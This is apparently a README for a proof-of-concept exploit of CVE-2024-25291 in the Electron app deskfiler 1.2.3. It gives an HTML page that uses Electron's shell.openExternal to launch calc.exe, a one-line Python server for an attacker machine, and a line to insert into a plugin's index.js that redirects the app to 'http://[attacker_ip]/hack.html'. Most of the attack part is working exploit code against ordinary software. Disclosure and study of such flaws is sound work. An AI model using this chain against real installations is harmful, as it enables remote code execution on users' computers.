
deskfiler 1.2.3 Open Redirect exploit
A Proof-Of-Concept for CVE-2024-25291 vulnerability.
deskfiler - 1.2.3 allows Electron webview in application, with resultant remote code
In this repository there is an example vulnerable application and proof-of-concept (POC) exploit of it.
<html>
<head>
<title>jruru</title>
</head>
<body>
<script>
const { shell } = require('electron');
shell.openExternal('file:C:/Windows/System32/calc.exe');
</script>
</body>
</html>
※ If you want to test it quickly, create a server on the attacker's PC with the following code.
$ python -m http.server 80
Note: ※ At this time, it is assumed that the plug-in is a plug-in generated by the attacker, and is only a normal plug-in with a code added to let the attacker server access. BareBone has been selected for simple testing

Afterward, add the following code to the index.js file in the BareBone folder path.
window.location='http://[attacker_ip]/hack.html'


In this PoC, we utilized a plug-in; however, we believe that with alternative attack vectors, achieving Remote Code Execution (RCE) independently is possible. Additionally, if server-side vulnerabilities such as Stored XSS, Reflected XSS, exist, RCE is also considered feasible.